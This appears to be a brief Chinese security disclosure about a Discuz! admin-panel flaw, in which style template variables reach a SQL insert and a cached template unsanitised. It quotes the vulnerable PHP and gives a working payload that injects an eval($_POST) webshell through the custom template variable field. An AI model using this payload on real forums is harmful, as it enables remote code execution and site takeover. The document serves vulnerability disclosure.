在文件admin\styles.inc.php里代码:
if($newcvar && $newcsubst) {
if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) {
cpmsg('styles_edit_variable_duplicate', '', 'error');
} elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
cpmsg('styles_edit_variable_illegal', '', 'error');
}
$newcvar = strtolower($newcvar);
$db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
VALUES ('$id', '$newcvar', '$newcsubst')");
}
上面代码可以看出来当有后台权限时,可通过编辑风格,自定义模板变量处插入<strong> !','80VUL');EVAL($_POST[RING]);// </strong> 替换出插入 exp by ring04h!,远程写入webshell执行代码.
Discuz!
该漏洞已提交,等待官方补丁.
暂无评论